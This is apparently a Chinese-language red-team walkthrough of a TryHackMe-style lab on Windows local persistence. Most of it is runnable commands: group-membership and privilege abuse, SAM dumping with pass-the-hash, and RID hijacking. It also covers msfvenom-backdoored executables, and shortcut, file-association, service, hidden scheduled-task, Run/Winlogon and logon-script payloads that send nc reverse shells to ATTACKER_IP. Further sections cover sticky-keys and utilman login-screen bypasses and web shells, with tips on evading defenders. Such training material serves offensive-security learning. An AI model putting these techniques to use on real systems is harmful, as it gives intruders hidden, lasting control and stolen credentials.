Red Team

Windows 本地持久化

拥有管理员凭据将是在计算机中实现持久性的最简单方法。然而,为了让蓝队更难检测到我们,我们可以操纵非特权用户(这些用户通常不会像管理员那样受到监控),并以某种方式授予他们管理权限。

1.Windows 本地持久化

1.分配组成员资格(Assign Group Memberships)

对于这部分任务,我们假设您已转储受害计算机的密码哈希值并成功破解了正在使用的非特权帐户的密码。 让非特权用户获得管理权限的直接方法是使其成为管理员组的一部分。我们可以使用以下命令轻松实现此目的:C:\> net localgroup administrators thmuser0 /add

这将允许您使用 RDP、WinRM 或任何其他可用的远程管理服务来访问服务器。 如果这看起来太可疑,您可以使用Backups Operators组。该组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项,忽略任何配置的 DACL。这将使我们能够复制 SAM 和 SYSTEM 注册表配置单元的内容,然后我们可以使用它们来恢复所有用户的密码哈希值,从而使我们能够轻松升级到任何管理帐户。 为此,我们首先将该帐户添加到 Backup Operators 组:C:\> net localgroup “Backup Operators” thmuser1 /add

由于这是一个非特权帐户,因此它无法通过 RDP 或 WinRM 返回计算机,除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组。我们将使用 WinRM 来完成此任务:C:\> net localgroup “Remote Management Users” thmuser1 /add

我们假设我们已经将凭据转储到服务器上并拥有 thmuser1 的密码。让我们使用其凭据通过 WinRM 进行连接:

UsernamePassword
thmuser1Password321

如果您现在尝试从攻击者计算机进行连接,您会惊讶地发现,即使您位于 Backups Operators 组中,您也无法按预期访问所有文件。快速检查我们分配的组将表明我们是Backups Operators的一部分,但该组已被禁用:

user@AttackBox$ evil-winrm -i 10.10.217.91 -u thmuser1 -p Password321

*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID         Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0     Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                         Alias           S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias           S-1-5-32-551 Group used for deny only
BUILTIN\Remote Management Users       Alias           S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label           S-1-16-8192

这是由于用户帐户控制 (UAC)。 UAC 实现的功能之一是 LocalAccountTokenFilterPolicy,它会在远程登录时剥夺任何本地帐户的管理权限。虽然您可以通过 UAC 从图形用户会话提升您的权限(请在此处阅读有关 UAC 的更多信息),但如果您使用 WinRM,则您将被限制为没有管理权限的有限访问令牌。 为了能够从您的用户那里重新获得管理权限,我们必须通过将以下注册表项更改为 1 来禁用 LocalAccountTokenFilterPolicy:

C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

一旦所有这些都设置完毕,我们就可以使用我们的后门用户了。首先,让我们建立一个 WinRM 连接并检查是否为我们的用户启用了 Backup Operators 组:

user@AttackBox$ evil-winrm -i 10.10.217.91 -u thmuser1 -p Password321

*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID         Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0     Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                       Alias           S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators             Alias           S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users     Alias           S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                 Well-known group S-1-5-2     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label           S-1-16-12288

然后我们继续备份 SAM 和 SYSTEM 文件并将它们下载到我们的攻击者计算机上:

*Evil-WinRM* PS C:\> reg save hklm\system system.bak
  The operation completed successfully.

*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
  The operation completed successfully.

*Evil-WinRM* PS C:\> download system.bak
  Info: Download successful!

*Evil-WinRM* PS C:\> download sam.bak
  Info: Download successful!

注意:如果 Evil-WinRM 下载文件的时间过长,请随意使用任何其他传输方法。 有了这些文件,我们可以使用 Secretsdump.py 或其他类似工具转储所有用户的密码哈希值:

user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
[*] Cleaning up...

最后,执行 Pass-the-Hash 以使用管理员权限连接到受害计算机:user@AttackBox$ evil-winrm -i 10.10.217.91 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3

2.特殊权限和安全描述符(Special Privileges and Security Descriptors)

无需修改任何组成员身份即可实现与将用户添加到 Backup Operators 组类似的结果。特殊组之所以特殊,是因为操作系统默认为它们分配了特定的权限。权限只是在系统本身上执行任务的能力。它们包括简单的事情,例如能够关闭服务器的能力,以及非常特权的操作,例如能够获得系统上任何文件的所有权。您可以在此处找到可用权限的完整列表以供参考。 对于 Backup Operators 组,默认分配有以下两个权限:

  • SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何 DACL。
  • SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何 DACL。

我们可以将此类权限分配给任何用户,无论其组成员身份如何。为此,我们可以使用 secedit 命令。首先,我们将当前配置导出到临时文件:

secedit /export /cfg config.inf

我们打开文件并将用户添加到有关 SeBackupPrivilege 和 SeRestorePrivilege 的配置行中:

config.inf contents

我们最终将 .inf 文件转换为 .sdb 文件,然后使用该文件将配置加载回系统中:

secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

您现在应该拥有一个与任何备份操作员具有同等权限的用户。用户仍然无法通过WinRM登录系统,所以让我们做点什么。我们不会将用户添加到远程管理用户组,而是更改与 WinRM 服务关联的安全描述符以允许 thmuser2 进行连接。将安全描述符视为 ACL,但应用于其他系统设施。 要打开 WinRM 安全描述符的配置窗口,您可以在 Powershell 中使用以下命令(为此,您需要使用 GUI 会话):Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

这将打开一个窗口,您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完整权限:

WinRM security descriptor

完成此操作后,我们的用户就可以通过 WinRM 进行连接。由于用户具有 SeBackup 和 SeRestore 权限,因此我们可以重复这些步骤以从 SAM 恢复密码哈希并重新连接到管理员用户。 请注意,要使该用户完全使用给定的权限,您必须更改 LocalAccountTokenFilterPolicy 注册表项,但我们已经完成了此操作以获得先前的标志。 如果您检查用户的组成员身份,它看起来就像是普通用户。根本就没有什么可疑的地方!

C:\> net user thmuser2
User name                   thmuser2

Local Group Memberships     *Users
Global Group memberships     *None

我们再次假设我们已经将凭据转储到服务器上并拥有 thmuser2 的密码。让我们使用 WinRM 连接其凭据:

UsernamePassword
thmuser2Password321

3.RID劫持(RID Hijacking)

无需成为管理员即可获得管理权限的另一种方法是更改某些注册表值,使操作系统认为您是管理员。 创建用户时,会为其分配一个称为相对 ID (RID) 的标识符。 RID 只是代表系统中用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户,让 Windows 为非特权用户分配管理员访问令牌。 在任何 Windows 系统中,默认管理员帐户分配的 RID = 500,普通用户通常具有 RID >= 1000。 要查找为任何用户分配的 RID,您可以使用以下命令:

C:\> wmic useraccount get name,sid

Name               SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount     S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
thmuser1           S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2           S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3           S-1-5-21-1966530601-3185510712-10604624-1010

RID 是 SID 的最后一位(thmuser3 为 1010,管理员为 500)。 SID 是一个标识符,允许操作系统跨域识别用户,但对于此任务,我们不会太在意它的其余部分。 现在我们只需将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAM。 SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要将 Regedit 作为 SYSTEM 运行,我们将使用 psexec,它位于计算机的 C:\tools\pstools 中:

C:\tools\pstools> PsExec64.exe -i -s regedit

从 Regedit 中,我们将转到 HKLM\SAM\SAM\Domains\Account\Users\,其中计算机中的每个用户都有一个密钥。由于我们要修改 thmuser3,因此需要搜索其 RID 为十六进制的密钥 (1010 = 0x3F2)。在对应的key下,会有一个叫做F的值,它在0x30位置保存了用户的有效RID:

RID hijacking 1

请注意,RID 使用小端表示法存储,因此其字节显示为反向。 现在,我们将用十六进制的管理员 RID 替换这两个字节 (500 = 0x01F4),并交换字节 (F401):

RID hijacking 2

下次 thmuser3 登录时,LSASS 会将其与管理员相同的 RID 关联起来,并授予它们相同的权限。 对于此任务,我们假设您已经破坏了系统并获取了 thmuser3 的密码。为了您的方便,用户可以使用以下凭据通过 RDP 进行连接:

Linux远程桌面连接:remmina

2.后门文件(Backdooring Files)

建立持久性的另一种方法包括篡改我们知道用户定期交互的一些文件。通过对这些文件进行一些修改,我们可以植入后门,每当用户访问它们时就会执行这些后门。由于我们不想创建任何可能暴露我们身份的警报,因此我们更改的文件必须继续按预期为用户工作。 虽然植入后门的机会有很多,但我们将检查最常用的后门。

1.可执行文件(Executable Files)

如果您在桌面上发现任何可执行文件,则用户很可能会经常使用它。假设我们找到了 PuTTY 的快捷方式。如果我们检查快捷方式的属性,我们可以看到它(通常)指向 C:\Program Files\PuTTY\putty.exe。从那时起,我们可以将可执行文件下载到攻击者的计算机上并修改它以运行我们想要的任何有效负载。 您可以使用 msfvenom 轻松地将您偏好的有效负载植入到任何 .exe 文件中。二进制文件仍将照常工作,但通过在二进制文件中添加额外的线程以静默方式执行额外的有效负载。要创建后门 putty.exe,我们可以使用以下命令:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户没有注意到的情况下执行reverse_tcp meterpreter有效负载。虽然这种方法足以建立持久性,但让我们看看其他更狡猾的技术。

2.快捷方式文件(Shortcut Files)

如果我们不想改变可执行文件,我们总是可以篡改快捷方式文件本身。我们可以将其更改为指向将运行后门然后正常执行常用程序的脚本,而不是直接指向预期的可执行文件。 对于此任务,让我们检查管理员桌面上的 calc 快捷方式。如果我们右键单击它并转到属性,我们将看到它指向的位置:

calc properties

在劫持快捷方式的目标之前,让我们在 C:\Windows\System32 或任何其他隐蔽位置创建一个简单的 Powershell 脚本。该脚本将执行反向 shell,然后从快捷方式属性上的原始位置运行 calc.exe:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe

最后,我们将更改快捷方式以指向我们的脚本。请注意,执行此操作时,快捷方式的图标可能会自动调整。请务必将图标指向原始可执行文件,以便用户不会看到任何可见的更改。我们还想在隐藏窗口上运行脚本,为此我们将 -windowstyle hide 选项添加到 Powershell。快捷方式的最终目标是:

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

让我们启动一个 nc 监听器来接收攻击者机器上的反向 shell:

user@AttackBox$ nc -lvp 4445

3.劫持文件关联(Hijacking File Associations)

除了通过可执行文件或快捷方式进行持久化之外,我们还可以劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell。 默认的操作系统文件关联保存在注册表中,其中 HKLM\Software\Classes\ 下的每个文件类型都存储有一个密钥。假设我们要检查使用哪个程序打开 .txt 文件;我们可以去检查 .txt 子项并找到与其关联的程序 ID (ProgID)。 ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将具有以下 ProgID:

File extensions in registry

然后,我们可以搜索相应 ProgID 的子项(也在 HKLM\Software\Classes\ 下),在本例中为 txtfile,我们将在其中找到负责处理 .txt 文件的程序的引用。大多数 ProgID 条目在 shell\open\command 下都有一个子项,其中指定了对具有该扩展名的文件运行的默认命令:

ProgID in registry

在这种情况下,当您尝试打开.txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1,其中%1 代表打开的文件的名称。如果我们想劫持这个扩展,我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,我们创建一个包含以下内容的 ps1 脚本并将其保存到

C:\Windows\backdoor2.ps1:Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

请注意,在 Powershell 中,我们必须将 $args[0] 传递给记事本,因为它将包含要打开的文件的名称,如通过 %1 给出的那样。 现在让我们更改注册表项以在隐藏窗口中运行后门脚本:

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor2.ps1 %1
backdoored ProgID

最后,为反向 shell 创建一个侦听器,并尝试打开受害计算机上的任何 .txt 文件(如果需要,请创建一个)。您应该会收到一个具有打开该文件的用户权限的反向 shell。

3.滥用服务( Abusing Services)

Windows 服务提供了一种建立持久性的好方法,因为它们可以配置为在受害计算机启动时在后台运行。如果我们可以利用任何服务为我们运行某些东西,我们就可以在每次启动时重新获得对受害计算机的控制。 服务基本上是在后台运行的可执行文件。配置服务时,您可以定义将使用哪个可执行文件,并选择该服务是在计算机启动时自动运行还是应该手动启动。 我们可以通过两种主要方式滥用服务来建立持久性:创建一项新服务或修改现有服务来执行我们的有效负载。

1.创建后门服务(Creating backdoor services)

我们可以使用以下命令创建并启动名为“THMservice”的服务:

sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

注意:每个等号后面必须有一个空格才能使该命令起作用。 服务启动时将执行“net user”命令,将管理员密码重置为Passwd123。请注意该服务如何设置为自动启动 (start= auto),以便它无需用户交互即可运行。 重置用户密码效果很好,但我们还可以使用 msfvenom 创建一个反向 shell,并将其与创建的服务关联起来。但请注意,服务可执行文件是唯一的,因为它们需要实现由系统处理的特定协议。如果要创建与Windows服务兼容的可执行文件,可以在msfvenom中使用exe-service格式:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

然后,您可以将可执行文件复制到目标系统(例如 C:\Windows)并将服务的 binPath 指向它:

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

这应该会创建一个返回到攻击者计算机的连接。

2.修改现有服务(Modifying existing services)

虽然为持久性创建新服务效果很好,但蓝队可能会监视整个网络上的新服务创建。我们可能希望重用现有服务而不是创建服务来避免检测。通常,任何禁用的服务都是一个很好的候选者,因为它可以在用户没有注意到的情况下进行更改。 您可以使用以下命令获取可用服务的列表:

C:\> sc.exe query state=all
SERVICE_NAME: THMService1
DISPLAY_NAME: THMService1
      TYPE               : 10 WIN32_OWN_PROCESS
      STATE             : 1 STOPPED
      WIN32_EXIT_CODE   : 1077 (0x435)
      SERVICE_EXIT_CODE : 0 (0x0)
      CHECKPOINT         : 0x0
      WAIT_HINT         : 0x0

您应该能够找到名为 THMService3 的已停止服务。要查询服务的配置,可以使用以下命令:

C:\> sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMService3
      TYPE               : 10 WIN32_OWN_PROCESS
      START_TYPE         : 2 AUTO_START
      ERROR_CONTROL     : 1   NORMAL
      BINARY_PATH_NAME   : C:\MyService\THMService.exe
      LOAD_ORDER_GROUP   :
      TAG               : 0
      DISPLAY_NAME       : THMService3
      DEPENDENCIES       :
      SERVICE_START_NAME : NT AUTHORITY\Local Service

使用服务进行持久化时,我们需要关心三件事:

  • 可执行文件 (BINARY_PATH_NAME) 应指向我们的有效负载。
  • 服务 START_TYPE 应该是自动的,以便有效负载无需用户交互即可运行。
  • SERVICE_START_NAME 是运行服务的帐户,最好将其设置为 LocalSystem 以获取 SYSTEM 权限。

让我们首先使用 msfvenom 创建一个新的反向 shell:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe

要重新配置“THMservice3”参数,我们可以使用以下命令:

C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

然后,您可以再次查询服务的配置以检查是否一切按预期进行:

C:\> sc.exe qc THMservice3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMservice3
      TYPE               : 10 WIN32_OWN_PROCESS
      START_TYPE         : 2   AUTO_START
      ERROR_CONTROL     : 1   NORMAL
      BINARY_PATH_NAME   : C:\Windows\rev-svc2.exe
      LOAD_ORDER_GROUP   :
      TAG               : 0
      DISPLAY_NAME       : THMservice3
      DEPENDENCIES       :
      SERVICE_START_NAME : LocalSystem

4.滥用计划任务(Abusing Scheduled Tasks)

如果需要,我们还可以使用计划任务来建立持久性。有多种方法可以在 Windows 系统中安排有效负载的执行。让我们看看其中的一些:

1.任务调度程序

安排任务的最常见方法是使用内置的 Windows 任务计划程序。任务计划程序允许对任务启动时间进行精细控制,允许您配置在特定时间激活、定期重复甚至在发生特定系统事件时触发的任务。从命令行,您可以使用 schtasks 与任务计划程序交互。该命令的完整参考可以在 Microsoft 网站上找到。 让我们创建一个每分钟运行一次反向 shell 的任务。在现实场景中,您不希望负载如此频繁地运行,但我们不想在这个房间等待太久:

C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.

注意:请务必使用 THM-TaskBackdoor 作为任务名称,否则您将不会获得该标志。 前面的命令将创建一个“THM-TaskBackdoor”任务并向攻击者执行 nc64 反向 shell。 /sc 和 /mo 选项指示该任务应每分钟运行一次。 /ru 选项指示该任务将以 SYSTEM 权限运行。 要检查我们的任务是否已成功创建,我们可以使用以下命令:

C:\> schtasks /query /tn thm-taskbackdoor

Folder: \
TaskName                                 Next Run Time         Status
======================================== ====================== ===============
thm-taskbackdoor                         5/25/2022 8:08:00 AM   Ready

2.让我们的任务隐形(Making Our Task Invisible)

我们的任务现在应该已经启动并运行,但是如果受感染的用户尝试列出其计划任务,我们的后门将会很明显。为了进一步隐藏我们的计划任务,我们可以通过删除其安全描述符(SD)使其对系统中的任何用户都不可见。安全描述符只是一个 ACL,它说明哪些用户有权访问计划任务。如果您的用户不允许查询计划任务,您将无法再看到它,因为 Windows 只会向您显示您有权使用的任务。删除SD相当于禁止所有用户访问计划任务,包括管理员。 所有计划任务的安全描述符都存储在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 中。您将找到每个任务的注册表项,其中名为“SD”的值包含安全描述符。仅当您拥有 SYSTEM 权限时才能删除该值。 为了隐藏我们的任务,让我们删除之前创建的“THM-TaskBackdoor”任务的 SD 值。为此,我们将使用 psexec(在 C:\tools 中提供)以系统权限打开 Regedit:

C:\> c:\tools\pstools\PsExec64.exe -s -i regedit

然后我们将删除任务的安全描述符:

Task Scheduler SD

如果我们尝试再次查询我们的服务,系统会告诉我们没有这样的任务:

C:\> schtasks /query /tn thm-taskbackdoor ERROR: The system cannot find the file specified.

如果我们在攻击者的机器上启动一个 nc 监听器,我们应该会在一分钟后得到一个 shell:

user@AttackBox$ nc -lvp 4449

5.登录触发持久化(Logon Triggered Persistence)

用户执行的某些操作也可能绑定到执行特定的有效负载以实现持久性。 Windows 操作系统提供了多种将有效负载与特定交互相关联的方法。此任务将研究植入有效负载的方法,这些有效负载将在用户登录系统时执行。

1.启动文件夹(Startup folder)

每个用户在 C:\Users<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 下都有一个文件夹,您可以在其中放置要在用户登录时运行的可执行文件。攻击者只需通过以下方式即可实现持久性:将有效负载扔在那里。请注意,每个用户只会运行其文件夹中可用的内容。 如果我们想强制所有用户在登录时运行有效负载,我们可以以相同的方式使用 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 下的文件夹。 对于此任务,让我们使用 msfvenom 生成反向 shell 有效负载:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

然后我们将把有效负载复制到受害者机器中。您可以使用 Python3 生成 http.server 并在受害计算机上使用 wget 来提取文件:

然后,我们将有效负载存储到 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 文件夹中,以便为登录计算机的任何用户获取 shell。

C:\> copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

现在请务必从开始菜单注销您的会话(关闭 RDP 窗口还不够,因为它会使您的会话保持打开状态):

sign out

并通过 RDP 重新登录。您应该立即收到返回攻击者计算机的连接。

2.运行/运行一次(Run / RunOnce)

您还可以通过注册表强制用户在登录时执行程序。您可以使用以下注册表项来指定在登录时运行的应用程序,而不是将有效负载传递到特定目录:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU 下的注册表项仅适用于当前用户,HKLM 下的注册表项适用于所有人。在“Run”键下指定的任何程序都将在用户每次登录时运行。 RunOnce 键下指定的程序将仅执行一次。 对于此任务,让我们使用 msfvenom 创建一个新的反向 shell:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe

将其传输到受害机器后,让我们将其移动到 C:\Windows\:

C:\> move revshell.exe C:\Windows

然后,我们在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下创建 REG_EXPAND_SZ 注册表项。条目的名称可以是您喜欢的任何内容,值将是我们要执行的命令。 注意:在实际设置中,您可以为注册表项使用任何名称,但对于此任务,您需要使用 MyBackdoor 来接收标志。

backdoored Run entry

3.程序;登录;进程(Winlogon)

登录时自动启动程序的另一种替代方法是滥用 Winlogon,这是一种 Windows 组件,可在身份验证(除其他外)后立即加载您的用户配置文件。 Winlogon 使用 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 下的一些注册表项来获得持久性可能很有趣:

  • Userinit 指向 userinit.exe,它负责恢复您的用户配置文件首选项。
  • shell指向系统的shell,通常是explorer.exe。
Winlogon registry

如果我们用一些反向 shell 替换任何可执行文件,我们就会破坏登录序列,这是我们所不希望的。有趣的是,您可以附加用逗号分隔的命令,Winlogon 将处理所有命令。 让我们从创建一个 shell 开始:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe

我们将像之前一样将 shell 转移到受害机器上。然后我们可以将 shell 复制到我们喜欢的任何目录。在本例中,我们将使用 C:\Windows:

C:\> move revshell.exe C:\Windows

然后,我们更改 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 中的 shell 或 Userinit。在本例中,我们将使用 Userinit,但使用 shell 的过程是相同的。 注意:虽然 shell 和 Userinit 都可用于在现实场景中实现持久性,但要获取此房间中的标志,您将需要使用 Userinit。

Backdoored userinit

4.登录脚本(Logon scripts)

userinit.exe 在加载用户配置文件时执行的操作之一是检查名为 UserInitMprLogonScript 的环境变量。我们可以使用此环境变量将登录脚本分配给用户,该脚本将在登录计算机时运行。默认情况下未设置该变量,因此我们可以创建它并分配我们喜欢的任何脚本。 请注意,每个用户都有自己的环境变量;因此,您需要分别为每个后门设置后门。 让我们首先创建一个用于此技术的反向 shell:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe

我们将像之前一样将 shell 转移到受害机器上。然后我们可以将 shell 复制到我们喜欢的任何目录。在本例中,我们将使用 C:\Windows:

C:\> move revshell.exe C:\Windows

要为用户创建环境变量,可以转到注册表中的 HKCU\Environment。我们将使用 UserInitMprLogonScript 条目来指向我们的有效负载,以便在用户登录时加载它:

Backdoored env

请注意,该注册表项在 HKLM 中没有等效项,因此您的后门仅适用于当前用户。

6.登录屏幕/RDP 后门(Backdooring the Login Screen / RDP)

如果我们对机器有物理访问权限(在我们的例子中是 RDP),您可以在登录屏幕后门来访问终端,而无需拥有机器的有效凭据。 为此,我们将研究两种依赖辅助功能的方法。

1.粘滞键(Sticky Keys)

当按下 CTRL + ALT + DEL 等组合键时,您可以将 Windows 配置为使用粘滞键,这样您就可以按顺序而不是同时按下组合按钮。从这个意义上说,如果粘滞键处于活动状态,您可以按下并释放 CTRL,按下并释放 ALT,最后按下并释放 DEL,以达到与按 CTRL + ALT + DEL 组合相同的效果。 为了使用粘滞键建立持久性,我们将滥用任何 Windows 安装中默认启用的快捷方式,该快捷方式允许我们通过按 SHIFT 5 次来激活粘滞键。输入快捷方式后,我们通常会看到如下所示的屏幕:

sticky keys

按 SHIFT 5 次后,Windows 将执行 C:\Windows\System32\sethc.exe 中的二进制文件。如果我们能够将此类二进制文件替换为我们偏好的有效负载,则我们可以使用快捷方式触发它。有趣的是,我们甚至可以在输入任何凭据之前从登录屏幕执行此操作。 登录屏幕后门的一种直接方法是用 cmd.exe 的副本替换 sethc.exe。这样,我们就可以使用粘滞键快捷键生成控制台,甚至可以从日志记录屏幕中生成控制台。 要覆盖 sethc.exe,我们首先需要获得该文件的所有权并授予当前用户修改它的权限。只有这样我们才能用 cmd.exe 的副本替换它。我们可以使用以下命令来做到这一点:

C:\> takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
      1 file(s) copied.

执行此操作后,从开始菜单锁定您的会话:

lock session

您现在应该能够按 SHIFT 五次以直接从登录屏幕访问具有系统权限的终端:

sethc backdoor

2.讲述人(Utilman)

Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供“轻松访问”选项:

utilman

当我们单击登录屏幕上的轻松访问按钮时,它会以 SYSTEM 权限执行 C:\Windows\System32\Utilman.exe。如果我们将其替换为 cmd.exe 的副本,我们可以再次绕过登录屏幕。 为了替换 utilman.exe,我们执行与 sethc.exe 类似的过程:

C:\> takeown /f c:\Windows\System32\utilman.exe

SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
      1 file(s) copied.

要触发我们的终端,我们将从开始按钮锁定屏幕:

lock session

最后,继续单击“轻松访问”按钮。由于我们用 cmd.exe 副本替换了 utilman.exe,因此我们将获得具有 SYSTEM 权限的命令提示符:

backdoored utilman

thm{the_login_screen_is_merely_a_suggestion}

7. 通过现有服务持久化(Persisting Through Existing Services)

如果您不想使用 Windows 功能来隐藏后门,您始终可以从任何可用于为您运行代码的现有服务中获益。此任务将探讨如何在典型的 Web 服务器设置中植入后门。尽管如此,您对执行内容有一定程度控制的任何其他应用程序都应该类似地存在后门。可能性是无止境!

1.使用 Web Shell(Using Web Shells)

在 Web 服务器中实现持久化的常用方法是将 Web shell 上传到 Web 目录。这很简单,将授予我们使用 IIS 中配置的用户的权限进行访问,默认情况下为 iis apppool\defaultapppool。即使这是一个非特权用户,它也具有特殊的 SeImpersonatePrivilege,提供了一种使用各种已知漏洞升级为管理员的简单方法。有关如何滥用此权限的详细信息,请参阅 Windows Privesc Room。 让我们首先下载 ASP.NET Web shell。这里提供了一个现成的 Web shell,但您可以随意使用您喜欢的任何一个。将其传输到受害计算机并将其移至 webroot,默认情况下位于 C:\inetpub\wwwroot 目录中:

